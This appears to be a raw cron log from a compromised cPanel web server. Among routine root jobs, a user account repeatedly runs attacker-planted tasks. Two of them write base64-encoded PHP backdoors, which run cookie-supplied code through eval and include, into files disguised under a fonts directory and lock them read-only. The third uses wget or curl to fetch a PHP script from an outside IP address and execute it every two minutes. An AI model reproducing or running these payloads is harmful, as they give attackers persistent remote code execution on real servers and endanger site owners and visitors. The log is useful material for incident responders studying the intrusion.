Sep 22 20:34:02 ip-184-168-122-23 CROND[30359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:34:02 ip-184-168-122-23 CROND[30360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:34:02 ip-184-168-122-23 CROND[30361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:34:02 ip-184-168-122-23 CROND[30362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:35:01 ip-184-168-122-23 CROND[30518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:35:02 ip-184-168-122-23 CROND[30523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 20:35:02 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 20:36:01 ip-184-168-122-23 CROND[30650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:36:01 ip-184-168-122-23 CROND[30652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:36:01 ip-184-168-122-23 CROND[30653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:36:01 ip-184-168-122-23 CROND[30654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:36:01 ip-184-168-122-23 CROND[30655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:37:01 ip-184-168-122-23 CROND[30765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:37:01 ip-184-168-122-23 CROND[30766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:37:01 ip-184-168-122-23 CROND[30767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:37:01 ip-184-168-122-23 CROND[30768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:38:01 ip-184-168-122-23 CROND[30880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:38:01 ip-184-168-122-23 CROND[30883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:38:01 ip-184-168-122-23 CROND[30884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:38:01 ip-184-168-122-23 CROND[30886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:38:01 ip-184-168-122-23 CROND[30885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:39:01 ip-184-168-122-23 CROND[31756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:39:01 ip-184-168-122-23 CROND[31755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:39:01 ip-184-168-122-23 CROND[31759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:39:01 ip-184-168-122-23 CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 20:39:01 ip-184-168-122-23 CROND[31762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:40:01 ip-184-168-122-23 CROND[973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:40:01 ip-184-168-122-23 CROND[975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:40:01 ip-184-168-122-23 CROND[977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:40:01 ip-184-168-122-23 CROND[979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:40:01 ip-184-168-122-23 CROND[981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:40:01 ip-184-168-122-23 CROND[980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:40:01 ip-184-168-122-23 CROND[983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:40:01 ip-184-168-122-23 CROND[987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:41:01 ip-184-168-122-23 CROND[2627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:41:01 ip-184-168-122-23 CROND[2628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:41:01 ip-184-168-122-23 CROND[2629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:41:01 ip-184-168-122-23 CROND[2633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:42:01 ip-184-168-122-23 CROND[4293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:42:01 ip-184-168-122-23 CROND[4296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:42:01 ip-184-168-122-23 CROND[4297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:42:01 ip-184-168-122-23 CROND[4299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:42:01 ip-184-168-122-23 CROND[4300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:43:01 ip-184-168-122-23 CROND[5805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:43:01 ip-184-168-122-23 CROND[5806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:43:01 ip-184-168-122-23 CROND[5808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:43:01 ip-184-168-122-23 CROND[5810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:44:02 ip-184-168-122-23 CROND[7141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:44:02 ip-184-168-122-23 CROND[7142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:44:02 ip-184-168-122-23 CROND[7144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:44:02 ip-184-168-122-23 CROND[7143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:44:02 ip-184-168-122-23 CROND[7145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:45:01 ip-184-168-122-23 CROND[8969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:45:01 ip-184-168-122-23 CROND[8971]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:45:01 ip-184-168-122-23 CROND[8972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:45:02 ip-184-168-122-23 CROND[8974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:45:02 ip-184-168-122-23 CROND[8976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:45:02 ip-184-168-122-23 CROND[8977]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 20:45:02 ip-184-168-122-23 CROND[8979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:46:01 ip-184-168-122-23 CROND[10395]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
